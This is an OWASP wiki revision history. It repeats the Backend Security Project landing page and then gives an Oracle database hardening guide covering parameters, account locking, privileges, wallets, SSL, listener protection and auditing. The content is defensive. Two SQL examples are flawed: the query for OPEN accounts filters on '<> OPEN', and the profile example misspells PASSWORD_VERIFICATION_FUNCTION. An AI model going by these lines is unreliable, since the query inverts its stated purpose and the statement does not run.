Category:OWASP Backend Security Project

2008-12-22T12:17:25Z

Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */

[[:Category:OWASP Project|Click here to return to OWASP Projects page.]] 
[[:Project Information:template Backend Security Project|Click here to see (& edit, if wanted) the template.]]
{{:Project Information:template Backend Security Project}}

== Welcome to the OWASP Backend Security Project ==

OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.

[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]

Now Available PDF version: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.pdf OWASP Backend Security Project 1.0 beta.pdf]

Now Available DOC version: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.doc OWASP Backend Security Project 1.0 beta.doc]

== Objectives ==

The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.

== Join the project ==

To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.

OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.

Below are described the main professional skills requested:

- Web Developers
- System Administrators
- DB Administrators
- Penetration Testers

Below are described the main technology skills requested:

''' * Programming Languages '''
- JAVA
- PHP
- .NET

''' * Database Server '''
- ORACLE
- SQL Server
- DB2
- MySQL
- PostgreSQL

''' * LDAP Server '''
- OpenLDAP
- iPlanet LDAP
- Active Directory

''' * Other back-end components '''

OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.

== Mailing List ==

https://lists.owasp.org/mailman/listinfo/owasp-backend-security

owasp-backend-security@lists.owasp.org

== News ==

11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project.

11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).

06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.

04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.

01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University "La Sapienza" Via Salaria, 113).

01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.

== Contacts ==

carlo.pelliccioni <at> gmail.com

[[Category:OWASP Project]]

Category:OWASP Backend Security Project

2008-12-22T12:16:58Z

Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */

[[:Category:OWASP Project|Click here to return to OWASP Projects page.]] 
[[:Project Information:template Backend Security Project|Click here to see (& edit, if wanted) the template.]]
{{:Project Information:template Backend Security Project}}

== Welcome to the OWASP Backend Security Project ==

OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.

[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]

Now Available PDF version: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.pdf OWASP Backend Security Project 1.0 beta.pdf]

Now Available DOC version: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.doc OWASP Backend Security Project 1.0 beta.doc]

== Objectives ==

The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.

== Join the project ==

To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.

OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.

Below are described the main professional skills requested:

- Web Developers
- System Administrators
- DB Administrators
- Penetration Testers

Below are described the main technology skills requested:

''' * Programming Languages '''
- JAVA
- PHP
- .NET

''' * Database Server '''
- ORACLE
- SQL Server
- DB2
- MySQL
- PostgreSQL

''' * LDAP Server '''
- OpenLDAP
- iPlanet LDAP
- Active Directory

''' * Other back-end components '''

OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.

== Mailing List ==

https://lists.owasp.org/mailman/listinfo/owasp-backend-security

owasp-backend-security@lists.owasp.org

== News ==

11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project.

11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).

06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.

04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.

01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University "La Sapienza" Via Salaria, 113).

01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.

== Contacts ==

carlo.pelliccioni <at> gmail.com

[[Category:OWASP Project]]

Category:OWASP Backend Security Project

2008-12-22T12:16:20Z

Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */

[[:Category:OWASP Project|Click here to return to OWASP Projects page.]] 
[[:Project Information:template Backend Security Project|Click here to see (& edit, if wanted) the template.]]
{{:Project Information:template Backend Security Project}}

== Welcome to the OWASP Backend Security Project ==

OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.

[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]

Now Available PDF version: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.pdf OWASP Backend Security Project 1.0 beta.pdf]
Now Available DOC version: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.doc OWASP Backend Security Project 1.0 beta.doc]

== Objectives ==

The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.

== Join the project ==

To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.

OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.

Below are described the main professional skills requested:

- Web Developers
- System Administrators
- DB Administrators
- Penetration Testers

Below are described the main technology skills requested:

''' * Programming Languages '''
- JAVA
- PHP
- .NET

''' * Database Server '''
- ORACLE
- SQL Server
- DB2
- MySQL
- PostgreSQL

''' * LDAP Server '''
- OpenLDAP
- iPlanet LDAP
- Active Directory

''' * Other back-end components '''

OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.

== Mailing List ==

https://lists.owasp.org/mailman/listinfo/owasp-backend-security

owasp-backend-security@lists.owasp.org

== News ==

11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project.

11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).

06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.

04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.

01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University "La Sapienza" Via Salaria, 113).

01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.

== Contacts ==

carlo.pelliccioni <at> gmail.com

[[Category:OWASP Project]]

Category:OWASP Backend Security Project

2008-12-22T12:14:36Z

Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */

[[:Category:OWASP Project|Click here to return to OWASP Projects page.]] 
[[:Project Information:template Backend Security Project|Click here to see (& edit, if wanted) the template.]]
{{:Project Information:template Backend Security Project}}

== Welcome to the OWASP Backend Security Project ==

OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.

[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]

Now Available: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.pdf OWASP Backend Security Project 1.0 beta.pdf]

== Objectives ==

The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.

== Join the project ==

To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.

OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.

Below are described the main professional skills requested:

- Web Developers
- System Administrators
- DB Administrators
- Penetration Testers

Below are described the main technology skills requested:

''' * Programming Languages '''
- JAVA
- PHP
- .NET

''' * Database Server '''
- ORACLE
- SQL Server
- DB2
- MySQL
- PostgreSQL

''' * LDAP Server '''
- OpenLDAP
- iPlanet LDAP
- Active Directory

''' * Other back-end components '''

OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.

== Mailing List ==

https://lists.owasp.org/mailman/listinfo/owasp-backend-security

owasp-backend-security@lists.owasp.org

== News ==

11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project.

11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).

06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.

04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.

01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University "La Sapienza" Via Salaria, 113).

01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.

== Contacts ==

carlo.pelliccioni <at> gmail.com

[[Category:OWASP Project]]

2008-10-30T19:08:45Z

Carlo.pelliccioni:

OWASP Backend Security Project About

2008-10-29T19:30:17Z

Carlo.pelliccioni: New page: OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications. The aim of this OWASP project is to create a new guide that could allow de...

OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, etc..
Several contributors (developers, system integrators and security testers) have contributed to achieve this important aim consisting in a beta quality guide composed by three sections oriented to the security field:
* Development
* Hardening
* Testing

OWASP Backend Security Project Oracle Hardening

2008-10-29T14:52:55Z

Carlo.pelliccioni: /* Overview */

= Overview =
== Installation security ==

This section is useful to understand how the installation could introduce vulnerabilities when it is not made “security oriented”.

=== Options and products ===

First of all an advanced installation should be performed to custom the installation process to install only the components required by application will connect to database.

=== Sample schemas ===

The installed schema should be reviewed, especially the sample schemas provided by Oracle base installation, and remove any schema not needed.

Example SQL to remove a schema:

SQL> DROP USER <user_name> CASCADE;

= Description =

=== Initialization parameters ===

This section covers the Oracle Initialization parameters that are relevant for the security. All the following initialization parameters have to be specified for all Oracle instances.

{| class="wikitable"
! Parameter name !! Description !! Security value
|-
| REMOTE_OS_AUTHENTICATION || This parameter should be set to FALSE to deny the authentication of remote clients by operating system. || FALSE
|-
| REMOTE_LOGIN_PASSWORDFILE || This parameter should be set to NONE, but if this functionality is required set the parameter EXCLUSIVE to make it more secure considering that the password file can be used by only one database. || NONE
|-
| RESOURCE_LIMIT || This parameter should be set to TRUE to enforce other parameter about resource limitsuch as idle time limits. The default is FALSE.
|| TRUE
|-
| REMOTE_OS_ROLES || This parameter should be set to FALSE to deny the operating system groups to control Oracle roles. || FALSE
|-
| OS_ROLES || This parameter should be set to FALSE to configure Oracle to identify and manage the roles.
Default value false.
|| FALSE
|-
| UTL_FILE_DIR || This parameter should be set to NULL to specify any directories that Oracle should use for PL/SQL file I/O.
|| NULL
|-
| USER_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server stores debugging trace file of a user process || <Protected Directory>
|-
| BACKGROUND_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server writes debugging trace file of background process || <Protected Directory>
|-
| CORE_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server dumps core files.|| <Protected Directory>
|-
|}

Example SQL for setting the REMOTE_OS_AUTHENTICATION parameter:

SQL> ALTER SYSTEM SET REMOTE_OS_AUTHENTICATION = FALSE SCOPE=BOTH

Scope:
* MEMORY: This value changes the instance immediately, but the configuration is lost after a restart.
* SPFILE: This value does NOT change the instance immediately, but a restart is necessary to take effect.
* BOTH: This value changes the instance immediately as well as the spfile.

=== Operating system security ===

==== Owner account ====

The Oracle OS installation account, owner of all Oracle application and datafiles, should be used only for the update and the maintenance of the Oracle software and should not be used during the standard DBA activities. The individual DBAs will have to use their assigned OS personal accounts, so the auditing process will be able to actions performed with the correct OS account. The Oracle software installation account will not be a member of the administrative group.

==== Files and directories ====

All files and directories generated during the installation process of Oracle should be restricted to the Oracle software owner and the DBA user group, especially the files listed below:

{| class="wikitable"
! File name !! Description
|-
| init.ora and/or init<SID>.ora
Spfile.ora
|| The file houses Oracle initialization parameter files. Replace SID with the name of your SID.
|-
| orapw<SID> || The file contain SYS password and the password of accounts granted the SYSDBA or SYSOPER role. Replace SID with the name of your SID.
|-
| listener.ora || The file houses listener configuration parameters and password.
|-
| snmp_rw.ora || The file contains the password for the DBSNMP database account in cleartext.
|-
| snmp_ro.ora || The file houses configuration information for the Oracle Intelligent Agent.
|-
| sqlnet.ora || The file contains network configuration information for the host database and listener.
|}

Other accounts should be denied to access except to executables under the “bin” directory although the permission of all files stored in the “bin” directory should be configured in order to be owned by the Oracle software installation account.

=== Patching ===
The Oracle Database should be kept up to date therefore, periodically, the Oracle Technology Network web site should be checked (http://otn.oracle.com/deploy/security/alerts.htm) to keep up on security alerts issued from Oracle Corporation in regard to all installed components.
Sometime, there are public vulnerabilities about Oracle software without a patch so it is a good idea subscribe to the security mailing lists so that it would be possible to catch those new security issues and to find a way to mitigate the risk of a new vulnerability.

== Account management ==

=== Lock and expire unused accounts ===

A number of default database server user accounts are create during the installation process so, if the Database Configuration Assistant is not used, default database user accounts should be all locked and expired. Unlock only those accounts that need to be accessed on a regular basis and assign a strong password to each of these unlocked accounts.

Example SQL for reviewing the Oracle Default Accounts with status “OPEN”:

SQL> SELECT <user_name> FROM dba_users WHERE account_status <> ’OPEN’ ORDER BY <user_name>;

Example SQL for Locking Accounts:

SQL> ALTER USER <user_name> ACCOUNT LOCK;

=== Change default password ===

The major weakness concerning the password is that some user default accounts, after the installation, still have a default password associated, the passwords of all default accounts should be reviewed (SYS, SYSTEM, DBSNMP, OUTLN and so on) and changed if necessary.

=== Enforce password policy ===

The password policy should be enforced by password verification function setting password parameter (list below) and providing password complexity feature like minimum length, password not same as the username, the password contains repeating characters, the password differs from the previous password by at least a certain number of letters.

Example SQL for setting a password verification function to a profile:

SQL> CREATE PROFILE <profile_name> LIMIT PASSWORD_VERIFICATION_FUCTION <function_name>

Example SQL for assigning profile profile to a user:

SQL> CREATE USER <user_name> IDENTIFIED BY <password> PROFILE <profile_name>;

=== Privileges and Roles ===

Due to the great number and variety of applications that make use of the database, it’s difficult to define in advance which kind of privilege have to be granted to a user. In order to make this choice, could be a good practice the “principle of least privilege”, that is not providing database users, especially PUBLIC, more privileges than necessary.

The user privileges are split in System Privileges and Object Privileges, you can grant privileges to users explicitly:

SQL> GRANT <object_privilege> ON <object_name> TO <user_name>;
SQL> GRANT <system_privilege> TO <user_name> [WITH ADMIN OPTION];

Where “WITH ADMIN OPTION” means that the new user can grant the same system privilege to another user.

Also, you can grant privileges to a role (recommended), a group of privileges:

SQL> GRANT <object_privilege> ON <object_name> TO <role_name>;
SQL> GRANT <system_privilege> TO <role_name>;

and then you should grant the role to users:

SQL> GRANT <role_name> TO <user_name>;

Periodically, is better to review the privileges (system and object) of the all database user. As an example, it is possible to use the following SQL script by executing as a user with the right privileges in order to review the system privilege (only) of specific user:

set pagesize 0
set head off
set feed off
set linesize 240
set trimspool on
col ord noprint
set echo off
accept username prompt' Insert a value for username:'
SELECT LPAD(' ', 2*level) || granted_role "USER PRIVS"
FROM (
SELECT NULL grantee, username granted_role
FROM dba_users
WHERE username LIKE UPPER('&&username')
UNION
SELECT grantee, granted_role
FROM dba_role_privs
UNION
SELECT grantee, privilege
FROM dba_sys_privs)
START WITH grantee IS NULL
CONNECT BY grantee = prior granted_role;

An example of output:

Insert a value for username: owasp
OWASP
CONNECT
CREATE SESSION
RESOURCE
CREATE CLUSTER
CREATE INDEXTYPE
CREATE OPERATOR
CREATE PROCEDURE
CREATE SEQUENCE
CREATE TABLE
CREATE TRIGGER
CREATE TYPE
UNLIMITED TABLESPACE

Afterward revoke the privileges that is not necessary from user:

SQL> REVOKE <system_privilege> FROM <user_name>;
SQL> REVOKE <object_privilege> ON <object_name> FROM <user_name>;

or from role:

SQL> REVOKE <system_privilege> FROM <role_name>;
SQL> REVOKE <object_privilege> ON <object_name> FROM <role_name>;

=== Automated processing database accounts ===

The major weakness using batch jobs is to manage user names and passwords in fact, typically, it connects to databases by using directly the command sqlplus:

sqlplus -s <user_name>/<password>@<TNS alias> << EOF
<SQL statement>
EOF

In this way it is possible to see the username and password in clear text by using the command to check the process status, such as “ps” command in a unix environment.
To avoid it could be used a standard CONNECT statement within batch jobs, like this:

sqlplus /nolog << EOF
CONNECT <user_name>/<password>
<SQL statement>
EOF

IIn this last case it is suggested to save the crypted password in a well protected configuration file and then decrypt them just before execute the CONNECT statement.
Another (recommended) possibility is to delegate the password management to a guaranteed third part as Secure External Password Store provided by Oracle Advanced Security component that save the credentials in a secure way.
When the clients are configured to use the secure external password store, batch jobs can connect to a database replacing the login credentials with an alias (database connection string) stored into container (named wallet).

To enable clients to use the external password store the first thing to do is to create an Oracle wallet with the autologin feature (access to wallet contents not require a password ) by using the follow command from OS command prompt:

mkstore -wrl <wallet_location> -create

Then, you should create database connection credentials in the wallet:

mkstore -wrl <wallet_location> -createCredential <db_connect_string> <user_name> <password>

After the wallet is ready, you should force the client to use the information stored in the “secure password store” to authenticate to databases by configuring sqlnet.ora file.

Example of entries to add in sqlnet.ora file:

WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = <wallet_location>)
)
)
SQLNET.WALLET_OVERRIDE = TRUE

The same configuration are possible to do by using Oracle Wallet Manager.

Following this way the risk is reduced because passwords are not exposed in the clear-text considering the applications can connect to a database with the following CONNECT statement syntax:

connect /@<db_connect_string>

where “db_connect_string” is the database connection credential, created before.

== Network security ==

=== Encrypt network logins ===

The password information in a connection request should be encrypted to protect against network eavesdropping. The value of the follow parameter should be review:

ORA_ENCRYPT_LOGIN (on the client machine)
DBLINK_ENCRYPT_LOGIN (on the server machine)

Once these parameters have been set to TRUE, passwords will be encrypted in connection requests.
Note that on Oracle version 9.02 and later these parameter are not available, in fact it encrypts automatically the password information when transmitting over a network, although the setting or changing of passwords is NOT encrypted when across the network.

=== Protect network communications ===

Consider configuring the Oracle Advanced Security component to use Secure Socket Layer (SSL) encrypting network traffic between clients and databases to avoid network eavesdropping.
Below, you can see an example of a basic configuration:

==== Server side ====

To enable SSL database connection it would be correct to create an Oracle wallet (with the autologin feature) and generate a certificate request by using Wallet Manager component. Then it should be sent to the Certificate Authority; when the CA trusted and the user certificate is received, these certificate should be imported into the wallet. Then configure the Oracle Advanced Security component by using the Net Manager utility (recommended) or modify the sqlnet.ora and listener.ora file. At the end, the sqlnet.ora and listener.ora files should contain the following entries:

WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = <wallet_location> )
)
)
SSL_CLIENT_AUTHENTICATION = FALSE
SQLNET.AUTHENTICATION_SERVICES= (TCPS)

==== Client side ====

After the wallet is configured, the client should be configured to use SSL connection to connect to databases by configuring sqlnet.ora file. Example of entries to add in sqlnet.ora file:

WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = <wallet_location> )
)
)
SSL_SERVER_DN_MATCH = OFF
SSL_CLIENT_AUTHENTICATION = FALSE
SQLNET.AUTHENTICATION_SERVICES= (TCPS)

Now, a network connection to the SSL listener should be configured by configuring the tnsname.ora file:

SSL =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCPS)(HOST = <host_name>)(PORT = <port>))
)
(CONNECT_DATA =
(SID = <SID_name>)
)
)

=== XML database (XDB) protocol server ===

The XML Database (XDB) offers access to the Oracle XML DB resources using the standard Internet protocols FTP, listening on TCP port 2100, and HTTP, listening on TCP port 8080.
The Oracle XML DB Protocol Server is a specific type of Oracle shared server dispatcher and is specified in the Oracle database initialization parameter file for startup, so if XDB is not used it should be turned off editing the init<SID>.ora or spfile<SID>.ora (replace SID with the name of your SID) file and remove or comment the follow line:

dispatchers="(PROTOCOL=TCP) (SERVICE=<SID>XDB)"

If access via the Internet protocols is required, logging should be enabled by setting the “ftp-log-level” and “http-log-level” parameters to a value of 1 in xdbconfig.xml file.

== Oracle TNS Listener security ==

=== Password ===

A listener password should be set at the end of listener configuration process to avoid from unauthorized start, stop, and configure. The password will be stored in encrypted format within the listener.ora file by using the LSNRCTL utility:

LSNRCTL> set current_listener <listener_name>
LNSRCTL> set password
Password: (type "enter" if it is the first time)
The command completed successfully
LSNRCTL> change_password
Old password: (type "enter")
New password: <new_password>
Reenter new password: <new_password>
[…]
The command completed successfully
LSNRCTL> save_config (important to save the configuration)
[…]
Saved LISTENER configuration parameters.
Listener Parameter File […]
Old Parameter File […]
The command completed successfully
LSNRCTL> exit

=== Admin restrictions ===

The remote administration of the Oracle listener should be prevented by setting to TRUE the ADMIN_RESTRICTIONS parameter in the listener.ora file:

ADMIN_RESTRICTIONS_<listener_name> = TRUE

=== Network address restriction ===

The network address restrictions should be enforced by the Oracle listener to further protect the database from unauthorized remote access, especially when the PLSQL EXTPROC is in use. To enable network address restriction, edit the SQLNET.ORA to add the follow line:

TCP.VALIDNODE_CHECKING = YES

Then, to define TCP/IP addresses that are allowed to connect to database add the follow line:

TCP.INVITED_NODES = <list of IP addresses>

At the end, to defines TCP/IP addresses that are refused connections to the database set the follow parameter

TCP.EXCLUDED_NODES = <list of IP addresses>

=== External procedures ===

The EXTPROC functionality is used by PL/SQL component to make calls to the operating system and to load necessary library to execute external procedure, but if the Oracle Database server is not properly patched it even could allow unauthorized administrative access to the server machine through the Oracle Listener. If the EXTPROC functionality is not required, it has to be disabled by editing the tnsname.ora and listener.ora files and removing the entries regarding this functionality.

Example of entries to remove in tnsname.ora file:

[…]
EXTPROC_CONNECTION_DATA =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(CONNECT_DATA =
(SID = PLSExtProc)
(PRESENTATION = RO)
)
)
[…]

Example of entries to remove in listener.ora file:

[…]
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
[…]

[…]
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME = […])
)
[…]

After that restart the Oracle Net listener process.
Then check if the configuration take effect by using the operation status in LSNRCTL command, and review the configuration if the last command display the follow lines:

Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
[…]
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
[…]

Otherwise, the configuration is correct!

If, instead, the EXTPROC functionality is required in your environment, configure a Oracle Net Listener for PL/SQL EXTPROC with an IPC (recommended) or TCP protocol address.
It is a good idea to enforce the network address restrictions when you use the TCP protocol address.

=== Inbound connection timeout ===

The amount of time the listener waits for a network client to complete the connection request should be manage to prevent a denial of service attack.
The name of parameter to set to configure inbound connection timeout and the name of the file of configuration, depends on Oracle version.

=== Logging ===

To enable logging on the listener, use Net Manager utility or modify the listener.ora file on server machine.
At the end, the listener.ora file should contain the follow entries:

LOGGING_<listener name> = ON
LOG_DIRECTORY_<listener name> = <log directory location>
LOG_FILE_<listener name> = <log file name>

== Audit ==

To properly protect database access the auditing of user database activities should be implemented in order to identify any suspicious activity or to check if an user has more privileges than expected.

=== Start Audit Service ===

To start the audit service execute “cataudit.sql” as SYS account. Then, choose if it is wanted to store the audit record to DataBase or Operating System file by setting the parameter “AUDIT_TRAIL” to DB or OS. The database audit trail is a single table named SYS.AUD$, but there are predefined views that help to use the information in this table, while as regard operating system audit trail the audit records are written into the directory that you choose by setting the “AUDIT_FILE_DEST” parameter.

=== Enable Audit ===

Once you start the audit service, it is possible choose to audit the sys operation by setting the AUDIT_SYS_OPERATION to TRUE. So that, Oracle Database audit connections to the database with administrator privileges, database startup and shutdown.
Then, it is possible enable other options, by using AUDIT SQL statement:

* Statement Auditing.
* Privilege Auditing.
* Schema Object Auditing.

An example to audit some activities on table “test” owned by OWASP (Schema Object Auditing):

SQL> AUDIT INSERT, UPDATE, DELETE ON owasp.test BY ACCESS;

Oracle Database allow to write a single audit record for all SQL statements in the same session, using the “by session” option in the audit SQL command or to write one record for each access, using the “by access” option.
Then, Oracle Database allows, also, to write the successful executions of statements, using the “whenever successful” option in the audit SQL command or unsuccessful attempts to execute statements, using the “whenever not successful”.

=== Disable Audit ===

To turn off an audit option use the statement “NOAUDIT”, such as:

SQL> NOAUDIT ALL PRIVILEGES;

=== Check Audit ===

When using the database audit trail use the “SELECT” statement from the follow view to show the enabled audit:

{| class="wikitable"
! Type of Audit !! View Name
|-
| Default Auditing || ALL_DEF_AUDIT_OPTS
|-
|-
| Statment Auditing || DBA_STMT_AUDIT_OPTS
|-
|-
| Object Auditing || DBA_OBJ_AUDIT_OPTS
|-
|-
| Privilege Auditing || DBA_PRIV_AUDIT_OPT
|-
|}

An example:

SQL> SELECT * FROM DBA_STMT_AUDIT_OPTS;

USER_NAME AUDIT_OPTION SUCCESS FAILURE
-------------------- ------------------- ---------- ---------
OWASP SESSION BY SESSION BY SESSION

= References =

[1] The Oracle Hacker's Handbook: Hacking and Defending Oracle by David Litchfield

[2] The Database Hacker's Handbook: Defending Database Servers by David Litchfield

[3] Database Security Technical Implementation Guide by DISA for the DOD

[4] Oracle Database Security Guide by Oracle Corporation

[5] Oracle Database Security Checklist by Oracle Corporation

OWASP Backend Security Project Oracle Hardening

2008-10-29T14:52:34Z

Carlo.pelliccioni: /* Description */

= Overview =

= Description =

=== Initialization parameters ===

This section covers the Oracle Initialization parameters that are relevant for the security. All the following initialization parameters have to be specified for all Oracle instances.

{| class="wikitable"
! Parameter name !! Description !! Security value
|-
| REMOTE_OS_AUTHENTICATION || This parameter should be set to FALSE to deny the authentication of remote clients by operating system. || FALSE
|-
| REMOTE_LOGIN_PASSWORDFILE || This parameter should be set to NONE, but if this functionality is required set the parameter EXCLUSIVE to make it more secure considering that the password file can be used by only one database. || NONE
|-
| RESOURCE_LIMIT || This parameter should be set to TRUE to enforce other parameter about resource limitsuch as idle time limits. The default is FALSE.
|| TRUE
|-
| REMOTE_OS_ROLES || This parameter should be set to FALSE to deny the operating system groups to control Oracle roles. || FALSE
|-
| OS_ROLES || This parameter should be set to FALSE to configure Oracle to identify and manage the roles.
Default value false.
|| FALSE
|-
| UTL_FILE_DIR || This parameter should be set to NULL to specify any directories that Oracle should use for PL/SQL file I/O.
|| NULL
|-
| USER_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server stores debugging trace file of a user process || <Protected Directory>
|-
| BACKGROUND_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server writes debugging trace file of background process || <Protected Directory>
|-
| CORE_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server dumps core files.|| <Protected Directory>
|-
|}

Example SQL for setting the REMOTE_OS_AUTHENTICATION parameter:

SQL> ALTER SYSTEM SET REMOTE_OS_AUTHENTICATION = FALSE SCOPE=BOTH

Scope:
* MEMORY: This value changes the instance immediately, but the configuration is lost after a restart.
* SPFILE: This value does NOT change the instance immediately, but a restart is necessary to take effect.
* BOTH: This value changes the instance immediately as well as the spfile.

=== Operating system security ===

==== Owner account ====

The Oracle OS installation account, owner of all Oracle application and datafiles, should be used only for the update and the maintenance of the Oracle software and should not be used during the standard DBA activities. The individual DBAs will have to use their assigned OS personal accounts, so the auditing process will be able to actions performed with the correct OS account. The Oracle software installation account will not be a member of the administrative group.

==== Files and directories ====

All files and directories generated during the installation process of Oracle should be restricted to the Oracle software owner and the DBA user group, especially the files listed below:

{| class="wikitable"
! File name !! Description
|-
| init.ora and/or init<SID>.ora
Spfile.ora
|| The file houses Oracle initialization parameter files. Replace SID with the name of your SID.
|-
| orapw<SID> || The file contain SYS password and the password of accounts granted the SYSDBA or SYSOPER role. Replace SID with the name of your SID.
|-
| listener.ora || The file houses listener configuration parameters and password.
|-
| snmp_rw.ora || The file contains the password for the DBSNMP database account in cleartext.
|-
| snmp_ro.ora || The file houses configuration information for the Oracle Intelligent Agent.
|-
| sqlnet.ora || The file contains network configuration information for the host database and listener.
|}

Other accounts should be denied to access except to executables under the “bin” directory although the permission of all files stored in the “bin” directory should be configured in order to be owned by the Oracle software installation account.

=== Patching ===
The Oracle Database should be kept up to date therefore, periodically, the Oracle Technology Network web site should be checked (http://otn.oracle.com/deploy/security/alerts.htm) to keep up on security alerts issued from Oracle Corporation in regard to all installed components.
Sometime, there are public vulnerabilities about Oracle software without a patch so it is a good idea subscribe to the security mailing lists so that it would be possible to catch those new security issues and to find a way to mitigate the risk of a new vulnerability.

== Account management ==

=== Lock and expire unused accounts ===

